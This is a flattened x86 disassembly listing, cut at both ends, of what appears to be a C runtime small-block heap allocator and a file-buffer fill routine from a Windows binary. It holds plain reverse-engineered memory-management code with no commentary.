loc_41E827 add ebx, ecx cmp esi, ebx jg loc_41E827 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41E6F7 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41E6F7: ; CODE XREF: sub_41E680+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41E747 cmp ecx, 20h jnb short loc_41E723 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E747 ; --------------------------------------------------------------------------- loc_41E723: ; CODE XREF: sub_41E680+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E747: ; CODE XREF: sub_41E680+7Dj ; sub_41E680+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41E815 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41E781 push 3Fh pop edi loc_41E781: ; CODE XREF: sub_41E680+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41E803 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41E7DA cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7CD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E7CD: ; CODE XREF: sub_41E680+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41E7FF ; --------------------------------------------------------------------------- loc_41E7DA: ; CODE XREF: sub_41E680+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7F0 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E7F0: ; CODE XREF: sub_41E680+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41E7FF: ; CODE XREF: sub_41E680+158j shr edx, cl or [eax], edx loc_41E803: ; CODE XREF: sub_41E680+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41E818 ; --------------------------------------------------------------------------- loc_41E815: ; CODE XREF: sub_41E680+E5j mov edx, [ebp+arg_4] loc_41E818: ; CODE XREF: sub_41E680+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41E96E ; --------------------------------------------------------------------------- loc_41E827: ; CODE XREF: sub_41E680+52j ; sub_41E680+5Cj xor eax, eax jmp loc_41E971 ; --------------------------------------------------------------------------- loc_41E82E: ; CODE XREF: sub_41E680+49j jge loc_41E96E mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41E859 push 3Fh pop esi loc_41E859: ; CODE XREF: sub_41E680+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41E8E8 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E872 push 3Fh pop esi loc_41E872: ; CODE XREF: sub_41E680+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41E8C1 cmp esi, 20h jnb short loc_41E89D mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E8BE ; --------------------------------------------------------------------------- loc_41E89D: ; CODE XREF: sub_41E680+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E8BE: ; CODE XREF: sub_41E680+214j ; sub_41E680+21Bj ... mov ebx, [ebp+arg_4] loc_41E8C1: ; CODE XREF: sub_41E680+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E8E8 push 3Fh pop esi loc_41E8E8: ; CODE XREF: sub_41E680+1DDj ; sub_41E680+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41E965 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41E93C cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E92F mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41E92F: ; CODE XREF: sub_41E680+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41E961 ; --------------------------------------------------------------------------- loc_41E93C: ; CODE XREF: sub_41E680+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E952 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41E952: ; CODE XREF: sub_41E680+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41E961: ; CODE XREF: sub_41E680+2BAj shr edx, cl or [eax], edx loc_41E965: ; CODE XREF: sub_41E680+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41E96E: ; CODE XREF: sub_41E680+1A2j ; sub_41E680:loc_41E82Ej push 1 pop eax loc_41E971: ; CODE XREF: sub_41E680+1A9j pop edi pop esi pop ebx leave retn sub_41E680 endp ; =============== S U B R O U T I N E ======================================= sub_41E976 proc near ; CODE XREF: sub_41EC6E:loc_41EE3Dp cmp dword_43A990, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41E98A mov esi, offset off_43A980 jmp short loc_41E9A7 ; --------------------------------------------------------------------------- loc_41E98A: ; CODE XREF: sub_41E976+Bj push 2020h push 0 push dword_4DCFC4 nop call near ptr 27C0000h mov esi, eax test esi, esi jz loc_41EAB3 loc_41E9A7: ; CODE XREF: sub_41E976+12j mov ebp, dword_4271C4 push 4 push 2000h push 400000h push 0 call ebp mov edi, eax test edi, edi jz loc_41EA9C push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp test eax, eax jz loc_41EA8E mov eax, offset off_43A980 cmp esi, eax jnz short loc_41EA06 cmp off_43A980, 0 jnz short loc_41E9F6 mov off_43A980, eax loc_41E9F6: ; CODE XREF: sub_41E976+79j cmp off_43A984, 0 jnz short loc_41EA1B mov off_43A984, eax jmp short loc_41EA1B ; --------------------------------------------------------------------------- loc_41EA06: ; CODE XREF: sub_41E976+70j mov [esi], eax mov eax, off_43A984 mov [esi+4], eax mov off_43A984, esi mov eax, [esi+4] mov [eax], esi loc_41EA1B: ; CODE XREF: sub_41E976+87j ; sub_41E976+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41EA3D: ; CODE XREF: sub_41E976+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41EA3D push ebx push 0 push edi call sub_41B590 add esp, 0Ch loc_41EA66: ; CODE XREF: sub_41E976+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41EA8A or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41EA66 ; --------------------------------------------------------------------------- loc_41EA8A: ; CODE XREF: sub_41E976+F7j mov eax, esi jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EA8E: ; CODE XREF: sub_41E976+63j push 8000h push 0 push edi call near ptr 28C0763h nop loc_41EA9C: ; CODE XREF: sub_41E976+4Bj cmp esi, offset off_43A980 jz short loc_41EAB3 push esi push 0 push dword_4DCFC4 nop call near ptr 27B0000h loc_41EAB3: ; CODE XREF: sub_41E976+2Bj ; sub_41E976+12Cj xor eax, eax loc_41EAB5: ; CODE XREF: sub_41E976+116j pop edi pop esi pop ebp pop ebx retn sub_41E976 endp ; =============== S U B R O U T I N E ======================================= sub_41EABA proc near ; CODE XREF: sub_41EB10+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] call near ptr 28C0763h nop cmp off_43C9A0, esi jnz short loc_41EADF mov eax, [esi+4] mov off_43C9A0, eax loc_41EADF: ; CODE XREF: sub_41EABA+1Bj cmp esi, offset off_43A980 jz short loc_41EB07 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4DCFC4 nop call near ptr 27B0000h pop esi retn ; --------------------------------------------------------------------------- loc_41EB07: ; CODE XREF: sub_41EABA+2Bj or dword_43A990, 0FFFFFFFFh pop esi retn sub_41EABA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB10 proc near ; CODE XREF: sub_41EC29+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_43A984 push edi loc_41EB1D: ; CODE XREF: sub_41EB10+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41EBBB and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41EB36: ; CODE XREF: sub_41EB10+72j cmp dword ptr [edi], 0F0h jnz short loc_41EB77 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax nop call near ptr 28C0763h test eax, eax jz short loc_41EB77 or dword ptr [edi], 0FFFFFFFFh dec dword_4DB9A4 mov eax, [esi+0Ch] test eax, eax jz short loc_41EB6C cmp eax, edi jbe short loc_41EB6F loc_41EB6C: ; CODE XREF: sub_41EB10+56j mov [esi+0Ch], edi loc_41EB6F: ; CODE XREF: sub_41EB10+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41EB84 loc_41EB77: ; CODE XREF: sub_41EB10+2Cj ; sub_41EB10+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41EB36 loc_41EB84: ; CODE XREF: sub_41EB10+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41EBBB cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41EBBB push 1 lea eax, [ecx+20h] pop edx loc_41EB9B: ; CODE XREF: sub_41EB10+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41EBAC inc edx add eax, 8 cmp edx, 400h jl short loc_41EB9B loc_41EBAC: ; CODE XREF: sub_41EB10+8Ej cmp edx, 400h jnz short loc_41EBBB push ecx call sub_41EABA pop ecx loc_41EBBB: ; CODE XREF: sub_41EB10+11j ; sub_41EB10+7Dj ... cmp esi, off_43A984 jz short loc_41EBCD cmp [ebp+arg_0], 0 jg loc_41EB1D loc_41EBCD: ; CODE XREF: sub_41EB10+B1j pop edi pop esi pop ebx leave retn sub_41EB10 endp ; =============== S U B R O U T I N E ======================================= sub_41EBD2 proc near ; CODE XREF: sub_41B0B1+3Ap ; sub_41B202+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_43A980 push esi mov ecx, edx loc_41EBDE: ; CODE XREF: sub_41EBD2+1Cj cmp eax, [ecx+10h] jbe short loc_41EBE8 cmp eax, [ecx+14h] jb short loc_41EBF0 loc_41EBE8: ; CODE XREF: sub_41EBD2+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41EC25 jmp short loc_41EBDE ; --------------------------------------------------------------------------- loc_41EBF0: ; CODE XREF: sub_41EBD2+14j test al, 0Fh jnz short loc_41EC25 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41EC25 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41EC25: ; CODE XREF: sub_41EBD2+1Aj ; sub_41EBD2+20j ... xor eax, eax pop esi retn sub_41EBD2 endp ; =============== S U B R O U T I N E ======================================= sub_41EC29 proc near ; CODE XREF: sub_41B0B1+4Dp ; sub_41B202+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41EC6D inc dword_4DB9A4 cmp dword_4DB9A4, 20h jnz short locret_41EC6D push 10h call sub_41EB10 pop ecx locret_41EC6D: ; CODE XREF: sub_41EC29+2Bj ; sub_41EC29+3Aj retn sub_41EC29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EC6E proc near ; CODE XREF: sub_41B202+1ACp ; sub_41B513+4Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43C9A0 push edi loc_41EC7C: ; CODE XREF: sub_41EC6E+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41ED27 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41ECE1 loc_41ECA7: ; CODE XREF: sub_41EC6E+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41ECCA cmp [edi+4], ebx jbe short loc_41ECCA push ebx push ecx push eax call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov eax, [ebp+var_4] mov [edi+4], ebx loc_41ECCA: ; CODE XREF: sub_41EC6E+40j ; sub_41EC6E+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41ECA7 jmp short loc_41ECE4 ; --------------------------------------------------------------------------- loc_41ECE1: ; CODE XREF: sub_41EC6E+37j mov ebx, [ebp+arg_0] loc_41ECE4: ; CODE XREF: sub_41EC6E+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41ED2A loc_41ECF7: ; CODE XREF: sub_41EC6E+B5j mov eax, [edi] cmp eax, ebx jl short loc_41ED16 cmp [edi+4], ebx jbe short loc_41ED16 push ebx push eax push [ebp+var_4] call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov [edi+4], ebx loc_41ED16: ; CODE XREF: sub_41EC6E+8Dj ; sub_41EC6E+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41ECF7 jmp short loc_41ED2A ; --------------------------------------------------------------------------- loc_41ED27: ; CODE XREF: sub_41EC6E+14j mov ebx, [ebp+arg_0] loc_41ED2A: ; CODE XREF: sub_41EC6E+87j ; sub_41EC6E+B7j mov esi, [esi] cmp esi, off_43C9A0 jz short loc_41ED49 jmp loc_41EC7C ; --------------------------------------------------------------------------- loc_41ED39: ; CODE XREF: sub_41EC6E+54j ; sub_41EC6E+A3j mov off_43C9A0, esi sub [edi], ebx mov [esi+8], edi jmp loc_41EE71 ; --------------------------------------------------------------------------- loc_41ED49: ; CODE XREF: sub_41EC6E+C4j mov eax, offset off_43A980 mov edi, eax loc_41ED50: ; CODE XREF: sub_41EC6E+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41ED5C cmp dword ptr [edi+0Ch], 0 jnz short loc_41ED68 loc_41ED5C: ; CODE XREF: sub_41EC6E+E6j mov edi, [edi] cmp edi, eax jz loc_41EE3D jmp short loc_41ED50 ; --------------------------------------------------------------------------- loc_41ED68: ; CODE XREF: sub_41EC6E+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41ED97 loc_41ED86: ; CODE XREF: sub_41EC6E+127j cmp [ebp+var_4], 10h jge short loc_41ED97 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41ED86 loc_41ED97: ; CODE XREF: sub_41EC6E+116j ; sub_41EC6E+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax nop call near ptr 28C0868h cmp eax, esi jnz loc_41EE6F push 0 push [ebp+var_8] push esi call sub_41B590 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41EDFE lea eax, [esi+4] mov [ebp+var_4], edx loc_41EDD4: ; CODE XREF: sub_41EC6E+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41EDD4 loc_41EDFE: ; CODE XREF: sub_41EC6E+15Ej mov off_43C9A0, edi lea eax, [edi+2018h] loc_41EE0A: ; CODE XREF: sub_41EC6E+1A8j cmp ecx, eax jnb short loc_41EE1A cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41EE18 add ecx, 8 jmp short loc_41EE0A ; --------------------------------------------------------------------------- loc_41EE18: ; CODE XREF: sub_41EC6E+1A3j cmp ecx, eax loc_41EE1A: ; CODE XREF: sub_41EC6E+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE3D: ; CODE XREF: sub_41EC6E+F2j call sub_41E976 test eax, eax jz short loc_41EE6F mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43C9A0, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE6F: ; CODE XREF: sub_41EC6E+143j ; sub_41EC6E+1D6j xor eax, eax loc_41EE71: ; CODE XREF: sub_41EC6E+D6j ; sub_41EC6E+1CDj ... pop edi pop esi pop ebx leave retn sub_41EC6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE76 proc near ; CODE XREF: sub_41EC6E+4Ap ; sub_41EC6E+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41EEBB lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41EEAA add [ecx], edx sub [ecx+4], edx jmp short loc_41EEB3 ; --------------------------------------------------------------------------- loc_41EEAA: ; CODE XREF: sub_41EE76+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EEB3: ; CODE XREF: sub_41EE76+32j lea eax, [edi+8] jmp loc_41EF89 ; --------------------------------------------------------------------------- loc_41EEBB: ; CODE XREF: sub_41EE76+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41EEC4 mov eax, esi loc_41EEC4: ; CODE XREF: sub_41EE76+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41EF0E loc_41EECB: ; CODE XREF: sub_41EE76+96j mov bl, [eax] test bl, bl jnz short loc_41EF01 push 1 lea ebx, [eax+1] pop esi loc_41EED7: ; CODE XREF: sub_41EE76+68j cmp byte ptr [ebx], 0 jnz short loc_41EEE0 inc ebx inc esi jmp short loc_41EED7 ; --------------------------------------------------------------------------- loc_41EEE0: ; CODE XREF: sub_41EE76+64j cmp esi, edx jnb short loc_41EF32 cmp eax, [ebp+var_4] jnz short loc_41EEEE mov [ecx+4], esi jmp short loc_41EEFA ; --------------------------------------------------------------------------- loc_41EEEE: ; CODE XREF: sub_41EE76+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41EF93 loc_41EEFA: ; CODE XREF: sub_41EE76+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41EF06 ; --------------------------------------------------------------------------- loc_41EF01: ; CODE XREF: sub_41EE76+59j movzx esi, bl add eax, esi loc_41EF06: ; CODE XREF: sub_41EE76+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41EECB loc_41EF0E: ; CODE XREF: sub_41EE76+53j lea esi, [ecx+8] loc_41EF11: ; CODE XREF: sub_41EE76+EBj ; sub_41EE76+F2j cmp esi, edi jnb short loc_41EF93 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41EF93 mov al, [esi] test al, al jnz short loc_41EF63 push 1 lea ebx, [esi+1] pop eax loc_41EF29: ; CODE XREF: sub_41EE76+BAj cmp byte ptr [ebx], 0 jnz short loc_41EF53 inc ebx inc eax jmp short loc_41EF29 ; --------------------------------------------------------------------------- loc_41EF32: ; CODE XREF: sub_41EE76+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF43 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41EF4C ; --------------------------------------------------------------------------- loc_41EF43: ; CODE XREF: sub_41EE76+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41EF4C: ; CODE XREF: sub_41EE76+CBj mov [eax], dl add eax, 8 jmp short loc_41EF89 ; --------------------------------------------------------------------------- loc_41EF53: ; CODE XREF: sub_41EE76+B6j cmp eax, edx jnb short loc_41EF6A sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41EF93 mov esi, ebx jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF63: ; CODE XREF: sub_41EE76+ABj movzx eax, al add esi, eax jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF6A: ; CODE XREF: sub_41EE76+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF7B sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41EF84 ; --------------------------------------------------------------------------- loc_41EF7B: ; CODE XREF: sub_41EE76+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EF84: ; CODE XREF: sub_41EE76+103j mov [esi], dl lea eax, [esi+8] loc_41EF89: ; CODE XREF: sub_41EE76+40j ; sub_41EE76+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41EF95 ; --------------------------------------------------------------------------- loc_41EF93: ; CODE XREF: sub_41EE76+7Ej ; sub_41EE76+9Dj ... xor eax, eax loc_41EF95: ; CODE XREF: sub_41EE76+11Bj pop edi pop esi pop ebx leave retn sub_41EE76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EF9A proc near ; CODE XREF: sub_41B202+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41EFD4 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41F034 ; --------------------------------------------------------------------------- loc_41EFD4: ; CODE XREF: sub_41EF9A+26j jnb short loc_41F03B mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41F03B lea eax, [ecx+edx] loc_41EFE9: ; CODE XREF: sub_41EF9A+59j cmp eax, esi jnb short loc_41EFF7 cmp byte ptr [eax], 0 jnz short loc_41EFF5 inc eax jmp short loc_41EFE9 ; --------------------------------------------------------------------------- loc_41EFF5: ; CODE XREF: sub_41EF9A+56j cmp eax, esi loc_41EFF7: ; CODE XREF: sub_41EF9A+51j jnz short loc_41F03B mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41F02F cmp esi, eax jbe short loc_41F02F lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41F026 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41F021 loc_41F01A: ; CODE XREF: sub_41EF9A+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41F01A loc_41F021: ; CODE XREF: sub_41EF9A+7Ej mov [ebx+4], eax jmp short loc_41F02F ; --------------------------------------------------------------------------- loc_41F026: ; CODE XREF: sub_41EF9A+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41F02F: ; CODE XREF: sub_41EF9A+68j ; sub_41EF9A+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41F034: ; CODE XREF: sub_41EF9A+38j mov [ebp+var_4], 1 loc_41F03B: ; CODE XREF: sub_41EF9A:loc_41EFD4j ; sub_41EF9A+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41EF9A endp ; =============== S U B R O U T I N E ======================================= sub_41F043 proc near ; CODE XREF: sub_41B11A+A9p ; sub_41BB4F+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41F117 test al, 40h jnz loc_41F117 test al, 2 jz short loc_41F069 or al, 20h mov [esi+0Ch], eax jmp loc_41F117 ; --------------------------------------------------------------------------- loc_41F069: ; CODE XREF: sub_41F043+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F07D push esi call sub_4239EF pop ecx jmp short loc_41F082 ; --------------------------------------------------------------------------- loc_41F07D: ; CODE XREF: sub_41F043+2Fj mov eax, [esi+8] mov [esi], eax loc_41F082: ; CODE XREF: sub_41F043+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41F106 cmp eax, 0FFFFFFFFh jz short loc_41F106 mov edx, [esi+0Ch] test dl, 82h jnz short loc_41F0DB mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41F0C4 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4DCC80[edi*4] lea edi, [edi+ecx*8] jmp short loc_41F0C9 ; --------------------------------------------------------------------------- loc_41F0C4: ; CODE XREF: sub_41F043+6Bj mov edi, offset dword_43D000 loc_41F0C9: ; CODE XREF: sub_41F043+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41F0DB or dh, 20h mov [esi+0Ch], edx loc_41F0DB: ; CODE XREF: sub_41F043+62j ; sub_41F043+90j cmp dword ptr [esi+18h], 200h jnz short loc_41F0F8 mov ecx, [esi+0Ch] test cl, 8 jz short loc_41F0F8 test ch, 4 jnz short loc_41F0F8 mov dword ptr [esi+18h], 1000h loc_41F0F8: ; CODE XREF: sub_41F043+9Fj ; sub_41F043+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41F106: ; CODE XREF: sub_41F043+55j ; sub_41F043+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 